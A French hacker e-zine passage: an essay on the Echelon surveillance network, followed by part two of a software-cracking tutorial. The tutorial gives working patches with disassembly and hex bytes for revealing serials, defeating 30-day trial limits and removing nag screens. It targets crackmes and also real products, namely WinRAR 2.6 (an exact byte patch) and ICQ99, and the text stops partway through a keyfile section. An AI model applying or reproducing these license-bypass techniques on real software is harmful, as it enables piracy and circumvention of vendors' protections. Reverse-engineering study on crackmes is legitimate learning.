Car, entre-temps, l'Ukusa de la guerre froide a engendr ce que d'aucuns, probablement 
avec indulgence, qualifient de caricature de Big Brother. Les annes 1952, 1957, 1984, 
1986 et 1988 marquent les tapes significatives de cette machine  espionner qui se met en 
place avec Echelon et qui est capable pour peu qu'on russisse  recruter les interprtes 
adquats d'intercepter, puis d'analyser, les messages circulant sur la plante  travers une 
centaine de langues diffrentes.
DS lors, le destin d'Echelon s'accomplit. Les grandes oreilles ne se satisfont plus 
d'couter l'adversaire ventuel. Tout est cible potentielle : les tlphones, y compris
dsormais les mobiles, les telex, les tlcopieurs, Internet et la messagerie lectronique des
administrations, des entreprises et des particuliers, qui passent, pour la plupart, par les 
satellites Intelsat et Immarsat. Les cinq Etats de la sainte alliance se rpartissent la tche : 
la NSA amricaine se charge des deux Amriques, le GCHQ britannique de l'Europe (Russie incluse) 
et de l'Afrique, le DSD australien de l'Asie-Pacifique avec le GCSB no-zlandais, et le CSE 
canadien de l'Europe et des Amriques.
Echelon intercepte, dtourne et dcrypte les communications civiles et militaires, 
mme les plus sensibles quand il parvient  dverrouiller leur codage de haute scurit, 
en reprant des mots-cls qui permettent d'isoler les donnes juges les plus intressantes. 
Il transmet alors ses informations aux services de renseignement,  charge pour eux de les 
interprter au profit des gouvernements destinataires qui les exploitent.
Longtemps, le systme s'est cru  l'abri, lisant  livre ouvert dans les communications 
d'autrui. En toute impunit. Et puis sont apparus des dysfonctionnements. Des incidents et des 
drives ont t signals, souvent par d'anciens agents de la NSA ou du GCHQ qui taient lis par 
des contrats de confidentialit sur leurs activits antrieures, signs en partant, mais qui 
n'ont pu se retenir de parler malgr la menace d'un procs. A la NSA, par exemple, de l'aveu du 
gnral Michael Hayden, son directeur actuel, 7 000 des 38 000 employs ont quitt leur travail 
durant ces dernires annes. Comment les astreindre tous au silence ?
La NSA a tent de noyer le poisson. C'tait compter sans des associations de dfense des droits 
de l'homme et des liberts individuelles, garantis par la Constitution amricaine, qui ont
rvl les turpitudes d'Echelon.
A vrai dire, les interceptions dont sont victimes les gouvernements sont considres comme 
relevant des piges que se tendent, non sans hypocrisie, les Etats, allis ou non. C'est 
quasiment la rgle du jeu, celui de l'espionnage, qui, prcisment, n'a pas de rgle crite 
ni tacite. A chacun de se prserver. C'est la loi du genre. Et la France, en la circonstance, 
est mal venue de se formaliser, elle dont les grandes oreilles se cachent sous l'anonymat 
de l'ex-Groupement des contrles radiolectriques (GCR), devenu la direction technique  la 
direction gnrale de la scurit extrieure (DGSE), qui dispose de ses coutes.
Les partisans d'Echelon, aux Etats-Unis, sont convaincus que la dcouverte des missiles 
nuclaires sovitiques  Cuba en 1962, la capture de terroristes sur le paquebot Achille-Lauro 
en 1995 ou l'implication de la Libye dans l'attentat contre une discothque de Berlin en 1996 
justifient le travail de stations d'coutes dans le monde. Il y eut des rats, comme la prise, 
en 1968, par les Corens du Nord, du Pueblo, un navire-espion amricain qui tait venu les 
narguer devant leurs ctes.
Mais l o le bt blesse, c'est quand ce contrle clandestin des transmissions s'exerce  
l'encontre d'entreprises en pleines tractations avec un client, rivales de groupes amricains 
qu' Echelon  cherche  privilgier, ou quand la surveillance s'tend, sous des motifs plus 
ou moins avouables, aux communications entre particuliers, dont la vie prive est scrute.
Quelques investigateurs, notamment la Free Congress Research and Education Foundation,  
Washington, se sont consacrs  ce travail de fourmi qui consiste  recenser et  mettre 
 nu les manquements et les accommodements, face  la loi, du systme Echelon, qui, 
pendant et aprs la guerre froide, a continu d'oeuvrer selon la tradition de tous les 
services spciaux dans le monde : Pas vu, pas pris. Ces oprations ne sont connues que 
parce que, soudain et aprs coup, elles arrivent aux oreilles d'un Congrs dtermin  faire 
le mnage.
TEL le projet Shamrock , qui a permis d'intercepter les tlgrammes mis ou reus par le 
biais de Western Union, RCA ou ITT, durant les annes 50 et 60. Tel encore le projet Minaret, 
quand les Etats-Unis coutrent, entre 1967 et 1973, 6 000 trangers et 1 700 organisations ou 
particuliers amricains, parmi lesquels Martin Luther King, Malcom X, Jane Fonda et Joan Baez. 
Tel aussi le projet Chaos, qui eut pour objet, sous les prsidences de Lyndon Johnson, puis 
de Richard Nixon, de traquer des tudiants quelque 7 000 et des militants pas moins d'un 
millier d'organisations - hostiles  la guerre du Vietnam. Le Free Congress Research and 
Education Foundation rapporte qu'Echelon n'est pas demeur inactif au Canada et en 
Grande-Bretagne. A Ottawa, il s'est agi de dcouvrir si Margaret Trudeau, pouse du premier 
ministre d'alors, consommait de la marijuana. A Londres, du temps de Margaret Thatcher 
 la tte du cabinet conservateur, furent couts des ministres, des contribuables, comme 
le patron de presse Robert Maxwell, ou des mdias, tel The Observer, qui s'taient mus 
des activits de Mark, le fils du premier ministre lors de ventes d'armes avec l'Arabie
saoudite.
Dans son rapport examin fin fvrier, le Parlement europen a identifi la NSA comme ayant
servi de grandes oreilles  Echelon en 1994 pour permettre au groupe amricain Raytheon de 
souffler un march de radars, au Brsil, aux deux socits franaises Thomson-CSF et Alcatel.
Mais d'autres entreprises ont souffert de cet espionnage matrialis, outre-Atlantique, 
par la cration auprs du secrtaire au commerce d'un Conseil conomique national, vrai 
conseil de guerre pour coordonner et centraliser l'action des services de renseignement 
au profit des grands groupes amricains. C'est le cas du japonais NEC, dont la NSA intercepte 
les messages lors de la vente d'un satellite  l'Indonsie, ou de celui de constructeurs 
automobiles japonais en discussions,  Genve, avec Ford, General Motors et Chrysler. 
C'est enfin le CSE canadien qui coute les Corens du Sud  qui Ottawa veut vendre des 
racteurs Candu en 1991.
On touche l  ce qui, dans cette collecte d'informations tous azimuts, agace en priorit les 
partenaires europens de Washington et de Londres. A savoir le coup port par Echelon et, 
singulirement par les deux pays anglo-saxons les plus engags dans ce systme,  la solidarit 
entre allis. Nul ne remet en question la ncessit de lutter dans l'urgence, au moyen de tous 
procds, contre le crime organis, le terrorisme, le trafic de drogue, le blanchiment de 
l'argent ou la prolifration des armes de destruction massive, auxquels se livrent des 
Etats indlicats ou des mafias ayant pignon sur rue. Mais Echelon va beaucoup plus loin.
Au Parlement europen, les Quinze sont mal  l'aise face  cette oligarchie du renseignement et, 
pour le moment, ils n'ont pas trouv de parade sauf  demander sans espoir d'intgrer le 
Club. D'autant qu'Echelon essaime et foisonne dans le mme temps. Ses retraits, 
voire ses dmissionnaires, sont de plus en plus sollicits pour mettre leur expertise au service 
d'intrts particuliers. Trs privs. Des mouvements politiques, des entreprises, les milieux 
d'affaires, des banques ou des cabinets de consultants, pour s'en tenir  ces quelques exemples, 
voient dans ces anciens la manne qui leur fournira les taupes de demain.



Voila pour cette partie sur le systme chelon je ferais encore une autre partie car il y a 
beaucoup de chose a dire.


ThanKs to all

Hack The Best Fuck The Rest 

MAdchat et a Hacktif 



											<-<< TorKal >>->
											^^^^^^^^^^^^^^^^^





		                              #  
		                  #          ###           #
		                  ##         ###          ##       
		                   ####     #####        ###
		                   #####    #####      ####
		                    ######  #####    ######
		                     ###### #####  #######
		            ####      ###################    ####  
		              ################################# 
		                 ##########################
		                     ##################   
		                  #########################   
		                        ##############  
		                              ## 
		                              ## 






	
	- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	

	                     MILLENIUM CRACKING TUTORIAL (PART II)

	
	- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	


	[ NdRedoxx : le gnial tutorial de tHE ANALYST continue dans ce noumbeurre touh de
APOCALYPSE, et il se cloturera dans la prochaine issue.
	Je vous rappelle galement que son ancien pseudo est ACiD BuRN et qu'il a crit ce turial
sous ce nom l, donc ne vous tonnez pas si vous le trouvez crit. 
	Ce deuxime "tome" va du chapitre 8 au chapitre 12, et, comme le prcdent, il est clair
et bien expliqu. 
	Allez, let's go!!! ]



 Sommaire
::::::::::
::::::::::


8) Transformer un Programme en son propre keygen
9) Time Limits (limitation de 30 jours et autres merdes !!)
10) Nag et autres Splash screen (diverses mthodes...)
11) Keyfile
12) CD Check (les BPX, et techniques diverses..)






 Transformer un programme en son propre keygen
::::::::::::::::::::::::::::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::


          - Afficher le bon serial  la place du msg d'erreur


Introduction:

Il faut faire un keygen, les keygens c'est marrant mais on va apprendre autre chose cette fois.
On ne va pas coder un keygen (qui d'ailleurs est trs simple  faire) mais forcer le crackme
 afficher le bon serial  la place du message: "try again , Blablabla.."


utils ncessaires:

	- Soft-ice (it r0x)
	- diteur hexadcimal



Let's kick some ass =)


Bon, dj on lance ce con de crackme, et on entre son nom: ACiD BuRN et un serial
 2 francs: 0800
Ensuite dans Soft-ice (ctrl+d) on tape: Bpx hmemcpy
On click sur Register et on arrive dans Soft-ice.. F12 pour sortir dans dlls et ds
qu'on est dans le crackme on commence  tracer.
On arrive assez vite  une routine qui contrle le type de nom entr (minuscules,
majuscules, espaces, chiffres ...) mais il y a d'abord un check sur la longueur du nom:

025F:004010A3  83F804              CMP     EAX,04     &lt;-- compare la taille du nom  4
025F:004010A6  7304                JAE     004010AC   &lt;-- ok si suprieur ou gal  4
025F:004010A8  C9                  LEAVE
025F:004010A9  C21000              RET     0010

Apres a, il y a le contrle des caractres :

025F:004010AC  BA00000000          MOV     EDX,00000000
025F:004010B1  8A8200314000        MOV     AL,[EDX+00403100]
025F:004010B7  3C00                CMP     AL,00
025F:004010B9  7426                JZ      004010E1
025F:004010BB  3C20                CMP     AL,20
025F:004010BD  7408                JZ      004010C7
025F:004010BF  3C41                CMP     AL,41
025F:004010C1  7C07                JL      004010CA
025F:004010C3  3C5A                CMP     AL,5A
025F:004010C5  7F03                JG      004010CA
025F:004010C7  42                  INC     EDX
025F:004010C8  EBE7                JMP     004010B1
025F:004010CA  6A00                PUSH    00
025F:004010CC  687D304000          PUSH    0040307D
025F:004010D1  684D304000          PUSH    0040304D
025F:004010D6  6A00                PUSH    00
025F:004010D8  E8BD000000          CALL    USER32!MessageBoxA


Cette merde check si notre nom a des minuscules, majuscules, espaces ...
Si c'est pas ok, a jump  4010CA, et un message box nous dit de n'enter que des majuscules
et des espaces...
Merci, mais on avait compris ;)


Donc, on sort de Soft-ice, on met: ACID BURN comme nom, et 0800 tjs pour le serial
et on y retourne. On trace et on tombe sur la comparaison finale:

025F:0040112D  68F6304000          PUSH    004030F6      &lt;- d 4030f6 = fake serial
025F:00401132  6800314000          PUSH    00403100      &lt;- d 403100 = bon serial
025F:00401137  E840000000          CALL    KERNEL32!lstrcmp  
025F:0040113C  83F800              CMP     EAX,00
025F:0040113F  7517                JNZ     00401158
025F:00401141  6A00                PUSH    00
025F:00401143  68D3304000          PUSH    004030D3 << d 4030D3 = Good (titre de la msg box)
025F:00401148  6889304000          PUSH    00403089 << d 403089 = Bon message qd tu as le serial
025F:0040114D  6A00                PUSH    00
025F:0040114F  E846000000          CALL    USER32!MessageBoxA
025F:00401154  C9                  LEAVE
025F:00401155  C21000              RET     0010
025F:00401158  6A00                PUSH    00
025F:0040115A  68EA304000          PUSH    004030EA << d 4030EA = Bad (titre de la msgbox)
025F:0040115F  68DD304000          PUSH    004030DD << d 4030DD = bad boy ;p pas le bon pass
025F:00401164  6A00                PUSH    00
025F:00401166  E82F000000          CALL    USER32!MessageBoxA



En rsum, on voit une comparaison bon serial /  mauvais serial excute par l'API
lstrcmp, qui compare des strings. On voit un CMP EAX,00 : si la comparaison est ok 
le serial est bon, donc EAX = 0 et on affiche le bon messagebox :)
Sinon, a saute  la mauvaise box !!

Ok donc pour nous, ici :

025F:0040112D  68F6304000          PUSH    004030F6      &lt;- d 4030f6 = fake serial
025F:00401132  6800314000          PUSH    00403100      &lt;- d 403100 = bon serial


d 4030f6 nous donne: 0800
d 403100 nous donne: XZP]P[LKW

Le bon serial ok, mais c'est pas a qu'on veut :)
On veut forcer le prog  montrer le bon serial  la place du message d'erreur :)
Pour cela, on voit que juste avant la msg box Bad serial il y a 2 push :

le caption du titre de la title bar = push 4030EA
le texte du message du msgbox  = push 4030DD

Il push ces merdes, et ensuite il affiche le message  la con !
Donc pour le faire afficher le bon serial tu prends l'adresse du push 'bon serial' et tu la
copies  la place du push 'message comme quoi tu as foir' !!

025F:0040115A  68EA304000          PUSH    004030EA 
025F:0040115F  68DD304000          PUSH    004030DD 
025F:00401164  6A00                PUSH    00
025F:00401166  E82F000000          CALL    USER32!MessageBoxA


cela devient:


025F:0040115A  68EA304000          PUSH    004030EA   
025F:0040115F  6800314000          PUSH    00403100   &lt;-- push bon serial
025F:00401164  6A00                PUSH    00
025F:00401166  E82F000000          CALL    USER32!MessageBoxA


On a maintenant plus qu' modifier physiquement notre crackme, et le bon pass apparatra
 la place de l'erreur :) et voil notre super keygen pour branleurs :)
Hehe, c'est rapide, efficace, et on se fatigue pas :P

on cherche donc dans l'exe: 68EA30400068DD304000 
on remplace dans l'exe par: 68EA3040006800314000

Tu saves le fichier, et tu lances, mets un serial en majuscules et goodie :))
Le good serial apparat, Facile ....

Remarques on a toujours le titre : erreur code dans la msg box, rien ne vous empche
de le changer en: Keygen ;)


***********************************************************
****   Reprogrammer la routine de Contrle du serial   ****
***********************************************************

Toujours sur le mme crackme !!
On va donc recoder le check du serial dans Soft-ice pour s'occuper,
a va prendre 10 secs, mais bon ;)
C'est juste pour montrer que on peut faire bcp de choses en fait....

				notre routine de base:


025F:0040112D  68F6304000          PUSH    004030F6      &lt;- d 4030f6 = fake serial
025F:00401132  6800314000          PUSH    00403100      &lt;- d 403100 = bon serial
025F:00401137  E840000000          CALL    KERNEL32!lstrcmp  
025F:0040113C  83F800              CMP     EAX,00
025F:0040113F  7517                JNZ     00401158
025F:00401141  6A00                PUSH    00
025F:00401143  68D3304000          PUSH    004030D3   [ 4030D3 = Good (titre de la msg box)
025F:00401148  6889304000          PUSH    00403089   [ 403089 = Bon message qd tu as le serial
025F:0040114D  6A00                PUSH    00
025F:0040114F  E846000000          CALL    USER32!MessageBoxA
025F:00401154  C9                  LEAVE
025F:00401155  C21000              RET     0010
025F:00401158  6A00                PUSH    00
025F:0040115A  68EA304000          PUSH    004030EA   [ 4030EA = Bad (titre de la msgbox)
025F:0040115F  68DD304000          PUSH    004030DD   [ 4030DD = bad boy ;p pas le bon pass
025F:00401164  6A00                PUSH    00
025F:00401166  E82F000000          CALL    USER32!MessageBoxA


Comparaison grce  l'API lstrcmp.
On va transcrire a en :


025F:0040112D  A1F6304000          MOV     EAX,[004030F6]
025F:00401132  8B1500314000        MOV     EDX,[00403100]
025F:00401138  3BC2                CMP     EAX,EDX
025F:0040113A  7405                JZ      00401141
025F:0040113C  EB1A                JMP     00401158
025F:0040113E  90                  NOP
025F:0040113F  90                  NOP
025F:00401140  90                  NOP
025F:00401141  6A00                PUSH    00
025F:00401143  68D3304000          PUSH    004030D3
025F:00401148  6889304000          PUSH    00403089
025F:0040114D  6A00                PUSH    00
025F:0040114F  E846000000          CALL    USER32!MessageBoxA
025F:00401154  C9                  LEAVE
025F:00401155  C21000              RET     0010
025F:00401158  6A00                PUSH    00
025F:0040115A  68EA304000          PUSH    004030EA
025F:0040115F  68DD304000          PUSH    004030DD
025F:00401164  6A00                PUSH    00
025F:00401166  E82F000000          CALL    USER32!MessageBoxA


Ceci fait exactement la mme chose, mais n'utilise pas d'API pour comparer.
On met en EAX: l'adresse du serial entr, et en EDX le bon serial.
On les compare via : CMP EAX, EDX
Ensuite un saut conditionnel  la con et un Jump...
Les nop n'taient pas utiles, mais a fais plus clean ;)
Voil, le prog contrle si le serial est valide d'une autre manire, a sert 
rien, c'tait juste pour montrer ce qu'on peut faire avec de l'imagination, hehe
On peut bien s'amuser donc :]






 Time Limits (limitation de 30 jours et autres merdes !!)
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::



Comme vous l'avez srement remarqu, il existe des programmes
qui ne sont pas enregistrables car il n'y pas moyen de s'enregistrer !!
Ils sont en gnrale limits  30 jours!!
C'est ce qu'on appelle: Time limit protection !!! Comment cracker a ?
Il y a plusieurs faons !! Nous allons voir a de suite !!


Mthode avec W32Dasm:

Vous avez un programme nomme X, qui aprs 30 jours ne marche plus :(
Mais en revanche, il nous envoie une messagebox disant:
"La priode d'valuation est termine..." ou "Trial version expire..."
Bref ce genre de conneries !! 
Alors si vous avez a, vous lancez W32Dasm et dsassemblez le fichier  cracker.
Vous cherchez cette phrase dans les String Data References et une fois
que vous avez trouv, double-clickez dessus afin d'aller  la place
de cette phrase dans W32Dasm !!
Et maintenant ?? Ben on tudie le code aux alentours !! Ca ne vas pas tre
bien dur !!

Gnralement vous devriez trouver au dessus du message d'erreur des sauts
conditionnels de type JL, JLE, JG, JGE .....

Par exemple:


CMP DWORD PTR EAX, 1E     &lt;-- 1Eh = 30 en dcimal (30 jours!)
JLE 00405840              &lt;-- jump au programme si c'est gal ou infrieur  30 jours


Ici on voit qu'il compare le nombre de jours couls avec 30!
Tant que c'est infrieur ou gal  30 jours le programme marchera !!
Mais une fois dpass les 30 jours !! Ca marche plus :(
Donc pour cracker a on force le programme  sauter quoi qu'il arrive en changeant
le JLE en JMP !! et le programme sautera inconditionellement comme si de rien n'tais!
Il croira tjs que l'on est encore dans la priode des 30 jours heheh !!


Avec Soft-ice:

Tout d'abord regardons les API utilises dans les time limites!! :
(eq: win32API.hlp)
Je ne traduirais pas, pour ne pas dtriorer les infos donnes.

********************************************************************************************

* GetFileTime 

The GetFileTime function retrieves the date and time that a file was created, last accessed, 
and last modified. 

     BOOL GetFileTime(
      HANDLE  hFile,	                       // identifies the file 
      LPFILETIME  lpCreationTime,	       // address of creation time 
      LPFILETIME  lpLastAccessTime,	       // address of last access time  
      LPFILETIME  lpLastWriteTime 	       // address of last write time 
     );

Returns
If the function succeeds, the return value is TRUE.

If the function fails, the return value is FALSE. To get extended error information, call
GetLastError 


********************************************************************************************

* GetLocalTime

GetLocalTime function retrieves the current local date and time.

    VOID GetLocalTime(
      LPSYSTEMTIME  lpSystemTime 	       // address of system time structure  
     );

Returns
This function does not return a value. 

********************************************************************************************


* GetSystemTime 

The GetSystemTime function retrieves the current system date and time. The system time
is expressed in Coordinated Universal Time (UTC).

     VOID GetSystemTime(
      LPSYSTEMTIME  lpSystemTime 	      // address of system time structure  
     );

Returns
This function does not return a value.  


********************************************************************************************


* SystemTimeToFileTime 

The SystemTimeToFileTime function converts a system time to a file time.

    BOOL SystemTimeToFileTime(
      CONST SYSTEMTIME *  lpst,	              // address of system time to convert 
      LPFILETIME  lpft 	                      // address of buffer for converted file time 
    );

Returns
If the function succeeds, the return value is TRUE.

If the function fails, the return value is FALSE. To get extended error information,
call GetLastError.  

********************************************************************************************


Voil !! Donc a c'tait les API les plus couramment utilises dans les protections
par time limites!
Cependant, l'API la plus souvent utilise est : Getlocaltime
Donc vous mettez un Bpx dessus et vous lancez le programme !
Soft-ice break ! Pressez F12 pour arriver au bon endroit dans le programme et commencer
 tracer !!
Si vous voyez un saut de type: JL, JLE, JGE, JG vous savez ce qu'il vous
reste  faire !!
Je ne vais pas crire des tonnes encore sur cette protection aussi stupide que
simple  cracker !!

Vous trouvez un exemple de Time limite mais dans la partie Visual Basic!!
Comment cracker un programme VB avec W32Dasm original !! ;-)
l33t hehe

Sinon, j'espre que vous voyez comment cracker a maintenant ......







 Nag et autres Splash screen (diverses mthodes)
:::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::::::::::::::::::::::::::::::::


C'est la partie qui me fait le plus chier  crire je pense !!
Pourquoi ? Car j'aime pas les nags screen !!
Je trouve a ennuyeux ;)
Mais on doit y passer alors commenons ds maintenant !!
Qu'est-ce qu'un Nag screen ?
Un nag screen, c'est une fentre qui vient vous dire que vous
n'tes pas enregistr et qu'il faut payer vite fait pour qu'elle disparaisse :)
Bref, c'est vraiment ennuyant, on peut tomber sur un NAG avec un bouton
dsactiv qui se ractive aprs qq secondes par exemple !!
Bref casse-couilles  souhait ;)

Avant de commencer avec les trucs un peu plus compliqus avec Soft-ice et tout,
on va commencer par Simple !!

Cracker un nag screen avec seulement un diteur hexadcimal.

Quoi ? Vous vous demandez quelle connerie je suis en train de raconter lol !!
L'exemple que vais vous montrer est comment cracker le NAG screen de WinRAR 2.6
quand la limite dans le temps  expire !!
Vous pourrez essayer cette technique sur ICQ99 afin de kicker les 8 secs au dmarrage!!

Bref assez bavard !! Let's start :

*********************************
* Cracker le nag de WinRAR 2.6b *
*********************************


Tu lances WinRAR, aprs avoir mis la date en avance, style : 2002.
L tu vois un nag screen avec 5 boutons de merdes !!
Il y en a 1, avec Close...
Tu clicks dessus et WinRAR marche normalement. Donc, on va muler la 
pression sur ce bouton.


Piner Le nag :)
~~~~~~~~~~~~~~


Donc, voici une mthode qui marche souvent, pour muler la pression d'un
bouton... Vous avez juste besoin d'un diteur hexadcimal (moi j'utilise hex workshop).
Donc, vous lancez WinRAR encore et regardez le caption du bouton : Close
puis ouvrez WinRAR avec un diteur hexa et recherchez en hexa: 43006C006F0073006500
43006C006F0073006500 =
C   l   o   s   e

donc vous recherchez la valeur hexa de chaque Caractres, plus 00 entre chaque valeur.
Vous devez arrivez ici :


4600 0E00 0100 FFFF 8000 4300 6C00 6F00    F.........C.l.o.   &lt;== C l o s e  ici !!! heh
7300 6500 0000 0000 0000 0150 0000 0000    s.e........P....
9500 4300 4600 0E00 0900 FFFF 8000 2600    ..C.F.........&amp;.
4800 6500 6C00 7000 0000 0000 0700 0050    H.e.l.p........P
0000 0000 0400 0400 8B00 4D00 FFFF FFFF    ..........M.....
8000 0000 0000 0000 0000 0250 0000 0000    ...........P....
0900 1000 8200 3700 FFFF FFFF 8200 5000    ......7.......P.
6C00 6500 6100 7300 6500 2000 6E00 6F00    l.e.a.s.e. .n.o.



Donc, voil vous tes  la bonne place, now pour muler, vous avez juste  regardez le
FFFF82 ou FFFFFFFF82  le plus proche et changer le 82 en 7E !!!


donc :

4600 0E00 0100 FFFF 8000 4300 6C00 6F00    F.........C.l.o.   
7300 6500 0000 0000 0000 0150 0000 0000    s.e........P....
9500 4300 4600 0E00 0900 FFFF 8000 2600    ..C.F.........&amp;.
4800 6500 6C00 7000 0000 0000 0700 0050    H.e.l.p........P
0000 0000 0400 0400 8B00 4D00 FFFF FFFF    ..........M.....
8000 0000 0000 0000 0000 0250 0000 0000    ...........P....
0900 1000 8200 3700 FFFF FFFF 8200 5000    ......7.......P.    <-- ici tu vois FFFFFFFF82 !!!
6C00 6500 6100 7300 6500 2000 6E00 6F00    l.e.a.s.e. .n.o. 



COOL !! L tu es  la bonne place, donc tu remplaces le 82 par un 7E
et hop le nag a mouru ;)
Donc :

0900 1000 8200 3700 FFFF FFFF 8200 5000    ......7.......P.

		devient :


0900 1000 8200 3700 FFFF FFFF 7E00 5000    ......7.....~.P.


Tu saves ton fichier WinRAR, le relance et plus de nag du tout :)
Si tu remets la date en arrire, toujours pas de nag, donc Voil c'est termin.
Conseil: Ils auraient d fermer le prog une fois le temps dpass! Ca aurait forc le
cracker  jouer un peu plus et cracker le time limite !
Pour le reste des protections, c'est tres simple ! Avec ce que vous avez d lire
avant d'arriver ici, vous ne devriez pas avoir de problmes !



On va passer  un autre type de Nag Screen !! Les messagebox.
C'est trs chiant, mais quand on voit a !! On est quand mme content car a se vire
en 10 secondes ;)

Les messageboxes se reconnaissent grce  leurs icnes dj !
Les icnes que l'on voit dans Windows avec comme signe: le point d'exclamation,
la croix blanche sur rond rouge.... et un message l'accompagnant !!

Comment cracker a ? Bien je vais montrer 2 faons!!

- Avec W32Dasm (cracker like a wanker):

Vous lancez votre programme et vous voyez le message qui nous dit:

"Version Shareware! please Register" ou un truc chiant du style !!
Pour virer a, vous ouvrez W32Dasm et dsassemblez le fichier du programme!
Vous faites un tour dans les String Data References  la recherche de cette phrase!
Vous allez la trouver avec 98 % de chances !!
Donc vous double-cliquez sur cette phrase et recherchez au dessus d'un saut conditionnel
qui vous fait atterrir sur le nag ou au contraire le sauter !!
ET vous le nopez ou forcez a sauter en fonction de ce que vous trouvez !!

ex:

JE	00406280
.................

Possible String Data Reference BLABLA to: Please Register Now !...


XXXX:00406280  PUSH 00
XXXX:00406282  PUSH 004062E0                  ;"Register!"
XXXX:00406287  PUSH 00406360                  ;"Please Register Now!!.."
XXXX:0040628C  PUSH 00                       
XXXX:0040628E  CALL [USER32!MessageBoxA]

....................


Ici, si ce "je" nous amne  tout les coups sur le message d'erreur, on le NOP
et il ne sautera plus jamais !
Ceci est un exemple mais a ressemble  a en gros.
C'est pas trs clean, et a fait branleur mais bon :)
Plus a va vite et plus vous tes content je prsume ....


- Avec Soft-ice:


Avec Soft-ice on va tout simplement poser un BPX sur MessageBoxA!
Donc Ctrl+D et tapez votre BPX!
Lancez le programme et Soft-ice break! Pressez F12 et vous retournez sous
Windows !! L vous clickez sur le bouton OK du nag et vous vous retrouvez sous
Soft-ice encore une fois !!
Juste au dessus de votre emplacement actuel vous devez voir le Call qui appelle
le messageBox !! 
On peut cracker comme un bourin en nopant ce call, mais a fait pas trs pro,
le mieux c'est de foutre un RET juste aprs tre entr dans le CALL..

Petit exemple thorique:


XXXX:00406280  PUSH 00                        
XXXX:00406282  PUSH 004062E0                  ;"Register!"
XXXX:00406287  PUSH 00406360                  ;"Please Register Now!!.."
XXXX:0040628C  PUSH 00
XXXX:0040628E  CALL [USER32!MessageBoxA]       &lt;--- ici on fait F8


Aprs avoir fait le F8 on voit un truc comme a :

025F:00401510  FF253C324000        JMP     [USER32!MessageBoxA]   &lt;-- le F8 nous mne ici
025F:00401516  FF2540324000        JMP     [USER32!MoveWindow]
025F:0040151C  FF2544324000        JMP     [USER32!DialogBoxParamA]
........................

Aprs avoir fait le F8, on est donc sur un JMP qui va appeler le MessageboxA .
Donc sur cette ligne vous faites:

A {enter}
RET {Enter}
{echap}


Le programme arrive et prends le RET et sort de cette routine en 2 temps 3 mouvements!
et hop il continue sa route sans jamais afficher aucune connerie !
Ensuite vous faites la modif dans l'excutable lui-mme et on en parle plus :]

Je vais expliquer Rapidement une mthode qui utilise un BPX qui est trs rarement
utilis pour cracker les Nags, mais plutt dans les names / serials !
Mais c'est un plaisir de l'utiliser dans les programmes crits en Delphi par exemple !
Le BPX est : hmemcpy

Mthode thorique:

Vous mettez ce BPX et vous lancez le programme en Delphi  cracker!
Soft-ice break! Vous pressez F5 le nombre de fois qu'il faut pour obtenir le NAG screen
et vous comptez le nombre de F5 qu'il vous a fallut bien sr!!
On va dire: 14 fois F5 pour voir le nag !!
Alors on relance le programme et on fera F5 le nombre de fois que vous avez trouv
moins 1 !! (14 - 1 = 13 ici)
On presse 13 fois F5 ici !! Ensuite on presse F12 pour revenir dans l'excutable
et quitter ces dlls  la con :=)
Aprs avoir fait a, vous tracez comme un dingue avec F10 et vous allez arriver sur une srie
de CALL , MOV , CALL , MOV ....
Ca se voit tout de suite, il y a quasiment que a !!
Et l vous mettez un BPX  l'emplacement o cette routine commence et vous tracez avec
F10! Le NAG screen va apparatre en passant sur un call normalement !! Vous reprez
quel CALL c'est et puis vous lui mettez un bpx une fois avoir dsactiv tout les autres!
Vous breakez dessus! Premire faon bourin: on nope le call comme un goret ;)
On a de la chance a marche !! KeWl !!
Alors on peut entrer dans le Call avec F8 et mettre un ret sur le Push ebp qui doit
s'y trouver!! (c'est pas tjs un Push ebp ;p)
On presse F5 et si le nag est parti et que a ne crash pas, c'tait le bon endroit !!
Si tout a a amen  un mchant crash :-/ , il vous faut aprs avoir entr ce call
chercher un autre call qui affiche le nag  l'intrieur !!
et le noper !!
Si le nag est avec timer, on doit trouver un CALL GETTICKCOUNT pas loin de celui-ci
non plus !! Cette API est souvent utilise pour a ;)

On peut aussi utiliser L'API: Destroywindow qui nous amne dans Soft-ice aprs avoir
tu le nag ! L on presse F12 et on regarde les calls plus haut et on retrouve
souvent les calls et les movs de tout  l'heure qui sont si charmants, lol.
Bref, cette technique, je ne l'ai jamais vu dans aucun cours en franais ou bien
US, mais elle permet de cracker un nag Delphi en 2 mins sans se faire chier  tracer
comme un dingue jusqu' trouver LE CALL !!

Sinon, voici une liste d'API utilises dans le cracking des nags screen:


pour tout ce qui est messagebox:

MessageBox
MessageBoxA
MessageBoxExA
MessageBeep   

ou encore ceci pour afficher du texte!

SENDMESSAGE
WSPRINTF


et pour les gnrations de fentre:

createwindow
createwindowexa
showwindow


Voil, je pense que vous avez dj de quoi cracker pas mal de nags screen  la con!
La plus part du temps c'est : Posez le BPX, tracez, trouvez le CALL, killez le !
et on ne reparle plus du NAG !!





 Keyfile
:::::::::
:::::::::


Qu'est ce qu'un keyfile ?

C'est un fichier licence que l'on place dans le rpertoire courant du programme
pour l'enregistrer !
On a donc rien  entrer comme un name / serial!
On n'utilise pas les mmes API mais surtout l'API CreateFileA.

Je vais montrer un exemple:

******************************** 
* termial Cilla's CrackMe 1.0  *
********************************

Je vous prviens de suite, ce crackme contient une protection par Key file, qui
est trs simple, mais que je considre bien pour le sujet d'un cours gnral !
Je ne vais pas vous faire un cours sur un keyfile qui est trop long et qui va vous
perturber !!

Le crackme a besoin d'un fichier keyfile, ici il s'appelle TC1.key .

Je cre un fichier keyfile  la con contentant le texte: 
"ACiD BuRN 4 EVER Ph34rs        "

Si on dite en hexa on obtient ceci:

00000000:  41 43 69 44 20 42 75 52 4E 20 34 20 45 56 45 52 
00000010:  52 20 50 68 33 34 72 73 20 20 20 20 20 20 20 20   

Lancez le crackme et on voit qu'il y a un bouton pour checker le keyfile !!
Un open box apparat si vous clickez dessus et vous dit de choisir un fichier, ok on va le
faire l'ami :)
Tout d'abord mettez un BPX sur createfilea et quittez Soft-ice avec F5 !
Ensuite il vous suffit de choisir le fichier et Soft-ice revient de plus belle !
Pressez F11 et vous devriez voir le code suivant:


  :0040461F    CALL    KERNEL32!CreateFileA
